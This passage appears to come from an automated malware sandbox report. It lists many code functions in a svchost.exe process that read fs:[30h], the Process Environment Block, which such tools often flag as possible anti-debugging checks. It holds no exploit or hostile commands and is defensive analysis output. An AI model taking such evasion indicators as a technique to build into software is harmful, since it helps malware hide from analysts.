          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036F60B8 mov ecx, dword ptr fs:[00000030h]2_2_036F60B8
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363208A mov eax, dword ptr fs:[00000030h]2_2_0363208A
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03638770 mov eax, dword ptr fs:[00000030h]2_2_03638770
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640770 mov eax, dword ptr fs:[00000030h]2_2_03640770
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640770 mov eax, dword ptr fs:[00000030h]2_2_03640770
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640770 mov eax, dword ptr fs:[00000030h]2_2_03640770
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640770 mov eax, dword ptr fs:[00000030h]2_2_03640770
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640770 mov eax, dword ptr fs:[00000030h]2_2_03640770
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640770 mov eax, dword ptr fs:[00000030h]2_2_03640770
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640770 mov eax, dword ptr fs:[00000030h]2_2_03640770
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640770 mov eax, dword ptr fs:[00000030h]2_2_03640770
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640770 mov eax, dword ptr fs:[00000030h]2_2_03640770
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640770 mov eax, dword ptr fs:[00000030h]2_2_03640770
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640770 mov eax, dword ptr fs:[00000030h]2_2_03640770
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640770 mov eax, dword ptr fs:[00000030h]2_2_03640770
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366674D mov esi, dword ptr fs:[00000030h]2_2_0366674D
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366674D mov eax, dword ptr fs:[00000030h]2_2_0366674D
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366674D mov eax, dword ptr fs:[00000030h]2_2_0366674D
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03630750 mov eax, dword ptr fs:[00000030h]2_2_03630750
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036BE75D mov eax, dword ptr fs:[00000030h]2_2_036BE75D
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672750 mov eax, dword ptr fs:[00000030h]2_2_03672750
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672750 mov eax, dword ptr fs:[00000030h]2_2_03672750
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B4755 mov eax, dword ptr fs:[00000030h]2_2_036B4755
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366C720 mov eax, dword ptr fs:[00000030h]2_2_0366C720
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366C720 mov eax, dword ptr fs:[00000030h]2_2_0366C720
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366273C mov eax, dword ptr fs:[00000030h]2_2_0366273C
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366273C mov ecx, dword ptr fs:[00000030h]2_2_0366273C
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366273C mov eax, dword ptr fs:[00000030h]2_2_0366273C
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AC730 mov eax, dword ptr fs:[00000030h]2_2_036AC730
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366C700 mov eax, dword ptr fs:[00000030h]2_2_0366C700
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03630710 mov eax, dword ptr fs:[00000030h]2_2_03630710
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03660710 mov eax, dword ptr fs:[00000030h]2_2_03660710
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036527ED mov eax, dword ptr fs:[00000030h]2_2_036527ED
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036527ED mov eax, dword ptr fs:[00000030h]2_2_036527ED
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036527ED mov eax, dword ptr fs:[00000030h]2_2_036527ED
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036BE7E1 mov eax, dword ptr fs:[00000030h]2_2_036BE7E1
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036347FB mov eax, dword ptr fs:[00000030h]2_2_036347FB
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036347FB mov eax, dword ptr fs:[00000030h]2_2_036347FB
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363C7C0 mov eax, dword ptr fs:[00000030h]2_2_0363C7C0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B07C3 mov eax, dword ptr fs:[00000030h]2_2_036B07C3
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036307AF mov eax, dword ptr fs:[00000030h]2_2_036307AF
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E47A0 mov eax, dword ptr fs:[00000030h]2_2_036E47A0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036D678E mov eax, dword ptr fs:[00000030h]2_2_036D678E
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036F866E mov eax, dword ptr fs:[00000030h]2_2_036F866E
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036F866E mov eax, dword ptr fs:[00000030h]2_2_036F866E
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366A660 mov eax, dword ptr fs:[00000030h]2_2_0366A660
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366A660 mov eax, dword ptr fs:[00000030h]2_2_0366A660
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03662674 mov eax, dword ptr fs:[00000030h]2_2_03662674
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364C640 mov eax, dword ptr fs:[00000030h]2_2_0364C640
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364E627 mov eax, dword ptr fs:[00000030h]2_2_0364E627
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03666620 mov eax, dword ptr fs:[00000030h]2_2_03666620
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03668620 mov eax, dword ptr fs:[00000030h]2_2_03668620
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363262C mov eax, dword ptr fs:[00000030h]2_2_0363262C
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AE609 mov eax, dword ptr fs:[00000030h]2_2_036AE609
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364260B mov eax, dword ptr fs:[00000030h]2_2_0364260B
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364260B mov eax, dword ptr fs:[00000030h]2_2_0364260B
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364260B mov eax, dword ptr fs:[00000030h]2_2_0364260B
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364260B mov eax, dword ptr fs:[00000030h]2_2_0364260B
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364260B mov eax, dword ptr fs:[00000030h]2_2_0364260B
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364260B mov eax, dword ptr fs:[00000030h]2_2_0364260B
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364260B mov eax, dword ptr fs:[00000030h]2_2_0364260B
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672619 mov eax, dword ptr fs:[00000030h]2_2_03672619
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AE6F2 mov eax, dword ptr fs:[00000030h]2_2_036AE6F2
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AE6F2 mov eax, dword ptr fs:[00000030h]2_2_036AE6F2
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AE6F2 mov eax, dword ptr fs:[00000030h]2_2_036AE6F2
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AE6F2 mov eax, dword ptr fs:[00000030h]2_2_036AE6F2
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B06F1 mov eax, dword ptr fs:[00000030h]2_2_036B06F1
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B06F1 mov eax, dword ptr fs:[00000030h]2_2_036B06F1
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366A6C7 mov ebx, dword ptr fs:[00000030h]2_2_0366A6C7
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366A6C7 mov eax, dword ptr fs:[00000030h]2_2_0366A6C7
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366C6A6 mov eax, dword ptr fs:[00000030h]2_2_0366C6A6
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036666B0 mov eax, dword ptr fs:[00000030h]2_2_036666B0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03634690 mov eax, dword ptr fs:[00000030h]2_2_03634690
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03634690 mov eax, dword ptr fs:[00000030h]2_2_03634690
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366656A mov eax, dword ptr fs:[00000030h]2_2_0366656A
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366656A mov eax, dword ptr fs:[00000030h]2_2_0366656A
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366656A mov eax, dword ptr fs:[00000030h]2_2_0366656A
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03638550 mov eax, dword ptr fs:[00000030h]2_2_03638550
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03638550 mov eax, dword ptr fs:[00000030h]2_2_03638550
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640535 mov eax, dword ptr fs:[00000030h]2_2_03640535
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640535 mov eax, dword ptr fs:[00000030h]2_2_03640535
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640535 mov eax, dword ptr fs:[00000030h]2_2_03640535
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640535 mov eax, dword ptr fs:[00000030h]2_2_03640535
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640535 mov eax, dword ptr fs:[00000030h]2_2_03640535
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640535 mov eax, dword ptr fs:[00000030h]2_2_03640535
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365E53E mov eax, dword ptr fs:[00000030h]2_2_0365E53E
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365E53E mov eax, dword ptr fs:[00000030h]2_2_0365E53E
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365E53E mov eax, dword ptr fs:[00000030h]2_2_0365E53E
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365E53E mov eax, dword ptr fs:[00000030h]2_2_0365E53E
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365E53E mov eax, dword ptr fs:[00000030h]2_2_0365E53E
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C6500 mov eax, dword ptr fs:[00000030h]2_2_036C6500
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03704500 mov eax, dword ptr fs:[00000030h]2_2_03704500
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03704500 mov eax, dword ptr fs:[00000030h]2_2_03704500
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03704500 mov eax, dword ptr fs:[00000030h]2_2_03704500
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03704500 mov eax, dword ptr fs:[00000030h]2_2_03704500
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03704500 mov eax, dword ptr fs:[00000030h]2_2_03704500
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03704500 mov eax, dword ptr fs:[00000030h]2_2_03704500
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03704500 mov eax, dword ptr fs:[00000030h]2_2_03704500
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365E5E7 mov eax, dword ptr fs:[00000030h]2_2_0365E5E7
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365E5E7 mov eax, dword ptr fs:[00000030h]2_2_0365E5E7
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365E5E7 mov eax, dword ptr fs:[00000030h]2_2_0365E5E7
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365E5E7 mov eax, dword ptr fs:[00000030h]2_2_0365E5E7
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365E5E7 mov eax, dword ptr fs:[00000030h]2_2_0365E5E7
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365E5E7 mov eax, dword ptr fs:[00000030h]2_2_0365E5E7
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365E5E7 mov eax, dword ptr fs:[00000030h]2_2_0365E5E7
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365E5E7 mov eax, dword ptr fs:[00000030h]2_2_0365E5E7
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036325E0 mov eax, dword ptr fs:[00000030h]2_2_036325E0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366C5ED mov eax, dword ptr fs:[00000030h]2_2_0366C5ED
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366C5ED mov eax, dword ptr fs:[00000030h]2_2_0366C5ED
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366E5CF mov eax, dword ptr fs:[00000030h]2_2_0366E5CF
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366E5CF mov eax, dword ptr fs:[00000030h]2_2_0366E5CF
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036365D0 mov eax, dword ptr fs:[00000030h]2_2_036365D0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366A5D0 mov eax, dword ptr fs:[00000030h]2_2_0366A5D0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366A5D0 mov eax, dword ptr fs:[00000030h]2_2_0366A5D0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B05A7 mov eax, dword ptr fs:[00000030h]2_2_036B05A7
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B05A7 mov eax, dword ptr fs:[00000030h]2_2_036B05A7
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B05A7 mov eax, dword ptr fs:[00000030h]2_2_036B05A7
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036545B1 mov eax, dword ptr fs:[00000030h]2_2_036545B1
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036545B1 mov eax, dword ptr fs:[00000030h]2_2_036545B1
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03632582 mov eax, dword ptr fs:[00000030h]2_2_03632582
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03632582 mov ecx, dword ptr fs:[00000030h]2_2_03632582
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03664588 mov eax, dword ptr fs:[00000030h]2_2_03664588
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366E59C mov eax, dword ptr fs:[00000030h]2_2_0366E59C
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036BC460 mov ecx, dword ptr fs:[00000030h]2_2_036BC460
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365A470 mov eax, dword ptr fs:[00000030h]2_2_0365A470
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365A470 mov eax, dword ptr fs:[00000030h]2_2_0365A470
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365A470 mov eax, dword ptr fs:[00000030h]2_2_0365A470
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366E443 mov eax, dword ptr fs:[00000030h]2_2_0366E443
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366E443 mov eax, dword ptr fs:[00000030h]2_2_0366E443
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366E443 mov eax, dword ptr fs:[00000030h]2_2_0366E443
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366E443 mov eax, dword ptr fs:[00000030h]2_2_0366E443
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366E443 mov eax, dword ptr fs:[00000030h]2_2_0366E443
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366E443 mov eax, dword ptr fs:[00000030h]2_2_0366E443
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366E443 mov eax, dword ptr fs:[00000030h]2_2_0366E443
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366E443 mov eax, dword ptr fs:[00000030h]2_2_0366E443
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036EA456 mov eax, dword ptr fs:[00000030h]2_2_036EA456
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362645D mov eax, dword ptr fs:[00000030h]2_2_0362645D
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365245A mov eax, dword ptr fs:[00000030h]2_2_0365245A
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362E420 mov eax, dword ptr fs:[00000030h]2_2_0362E420
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362E420 mov eax, dword ptr fs:[00000030h]2_2_0362E420
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362E420 mov eax, dword ptr fs:[00000030h]2_2_0362E420
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362C427 mov eax, dword ptr fs:[00000030h]2_2_0362C427
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B6420 mov eax, dword ptr fs:[00000030h]2_2_036B6420
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B6420 mov eax, dword ptr fs:[00000030h]2_2_036B6420
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B6420 mov eax, dword ptr fs:[00000030h]2_2_036B6420
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B6420 mov eax, dword ptr fs:[00000030h]2_2_036B6420
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B6420 mov eax, dword ptr fs:[00000030h]2_2_036B6420
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B6420 mov eax, dword ptr fs:[00000030h]2_2_036B6420
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B6420 mov eax, dword ptr fs:[00000030h]2_2_036B6420
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366A430 mov eax, dword ptr fs:[00000030h]2_2_0366A430
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03668402 mov eax, dword ptr fs:[00000030h]2_2_03668402
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03668402 mov eax, dword ptr fs:[00000030h]2_2_03668402
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03668402 mov eax, dword ptr fs:[00000030h]2_2_03668402
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036304E5 mov ecx, dword ptr fs:[00000030h]2_2_036304E5
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036364AB mov eax, dword ptr fs:[00000030h]2_2_036364AB
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036644B0 mov ecx, dword ptr fs:[00000030h]2_2_036644B0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036BA4B0 mov eax, dword ptr fs:[00000030h]2_2_036BA4B0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036EA49A mov eax, dword ptr fs:[00000030h]2_2_036EA49A
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362CB7E mov eax, dword ptr fs:[00000030h]2_2_0362CB7E
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E4B4B mov eax, dword ptr fs:[00000030h]2_2_036E4B4B
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E4B4B mov eax, dword ptr fs:[00000030h]2_2_036E4B4B
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03702B57 mov eax, dword ptr fs:[00000030h]2_2_03702B57
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03702B57 mov eax, dword ptr fs:[00000030h]2_2_03702B57
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03702B57 mov eax, dword ptr fs:[00000030h]2_2_03702B57
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03702B57 mov eax, dword ptr fs:[00000030h]2_2_03702B57
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C6B40 mov eax, dword ptr fs:[00000030h]2_2_036C6B40
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C6B40 mov eax, dword ptr fs:[00000030h]2_2_036C6B40
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036FAB40 mov eax, dword ptr fs:[00000030h]2_2_036FAB40
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036D8B42 mov eax, dword ptr fs:[00000030h]2_2_036D8B42
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03628B50 mov eax, dword ptr fs:[00000030h]2_2_03628B50
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036DEB50 mov eax, dword ptr fs:[00000030h]2_2_036DEB50
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365EB20 mov eax, dword ptr fs:[00000030h]2_2_0365EB20
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365EB20 mov eax, dword ptr fs:[00000030h]2_2_0365EB20
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036F8B28 mov eax, dword ptr fs:[00000030h]2_2_036F8B28
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036F8B28 mov eax, dword ptr fs:[00000030h]2_2_036F8B28
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03704B00 mov eax, dword ptr fs:[00000030h]2_2_03704B00
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AEB1D mov eax, dword ptr fs:[00000030h]2_2_036AEB1D
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AEB1D mov eax, dword ptr fs:[00000030h]2_2_036AEB1D
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AEB1D mov eax, dword ptr fs:[00000030h]2_2_036AEB1D
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AEB1D mov eax, dword ptr fs:[00000030h]2_2_036AEB1D
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AEB1D mov eax, dword ptr fs:[00000030h]2_2_036AEB1D
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AEB1D mov eax, dword ptr fs:[00000030h]2_2_036AEB1D
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AEB1D mov eax, dword ptr fs:[00000030h]2_2_036AEB1D
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AEB1D mov eax, dword ptr fs:[00000030h]2_2_036AEB1D
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AEB1D mov eax, dword ptr fs:[00000030h]2_2_036AEB1D
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03638BF0 mov eax, dword ptr fs:[00000030h]2_2_03638BF0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03638BF0 mov eax, dword ptr fs:[00000030h]2_2_03638BF0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03638BF0 mov eax, dword ptr fs:[00000030h]2_2_03638BF0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365EBFC mov eax, dword ptr fs:[00000030h]2_2_0365EBFC
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036BCBF0 mov eax, dword ptr fs:[00000030h]2_2_036BCBF0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03650BCB mov eax, dword ptr fs:[00000030h]2_2_03650BCB
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03650BCB mov eax, dword ptr fs:[00000030h]2_2_03650BCB
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03650BCB mov eax, dword ptr fs:[00000030h]2_2_03650BCB
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03630BCD mov eax, dword ptr fs:[00000030h]2_2_03630BCD
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03630BCD mov eax, dword ptr fs:[00000030h]2_2_03630BCD
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03630BCD mov eax, dword ptr fs:[00000030h]2_2_03630BCD
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036DEBD0 mov eax, dword ptr fs:[00000030h]2_2_036DEBD0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640BBE mov eax, dword ptr fs:[00000030h]2_2_03640BBE
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640BBE mov eax, dword ptr fs:[00000030h]2_2_03640BBE
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E4BB0 mov eax, dword ptr fs:[00000030h]2_2_036E4BB0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E4BB0 mov eax, dword ptr fs:[00000030h]2_2_036E4BB0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366CA6F mov eax, dword ptr fs:[00000030h]2_2_0366CA6F
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366CA6F mov eax, dword ptr fs:[00000030h]2_2_0366CA6F
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366CA6F mov eax, dword ptr fs:[00000030h]2_2_0366CA6F
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036DEA60 mov eax, dword ptr fs:[00000030h]2_2_036DEA60
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036ACA72 mov eax, dword ptr fs:[00000030h]2_2_036ACA72
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036ACA72 mov eax, dword ptr fs:[00000030h]2_2_036ACA72
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03636A50 mov eax, dword ptr fs:[00000030h]2_2_03636A50
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03636A50 mov eax, dword ptr fs:[00000030h]2_2_03636A50
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03636A50 mov eax, dword ptr fs:[00000030h]2_2_03636A50
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03636A50 mov eax, dword ptr fs:[00000030h]2_2_03636A50
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03636A50 mov eax, dword ptr fs:[00000030h]2_2_03636A50
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03636A50 mov eax, dword ptr fs:[00000030h]2_2_03636A50
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03636A50 mov eax, dword ptr fs:[00000030h]2_2_03636A50
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640A5B mov eax, dword ptr fs:[00000030h]2_2_03640A5B
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640A5B mov eax, dword ptr fs:[00000030h]2_2_03640A5B
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366CA24 mov eax, dword ptr fs:[00000030h]2_2_0366CA24
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365EA2E mov eax, dword ptr fs:[00000030h]2_2_0365EA2E
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03654A35 mov eax, dword ptr fs:[00000030h]2_2_03654A35
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03654A35 mov eax, dword ptr fs:[00000030h]2_2_03654A35
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366CA38 mov eax, dword ptr fs:[00000030h]2_2_0366CA38
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036BCA11 mov eax, dword ptr fs:[00000030h]2_2_036BCA11
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366AAEE mov eax, dword ptr fs:[00000030h]2_2_0366AAEE
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366AAEE mov eax, dword ptr fs:[00000030h]2_2_0366AAEE
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03686ACC mov eax, dword ptr fs:[00000030h]2_2_03686ACC
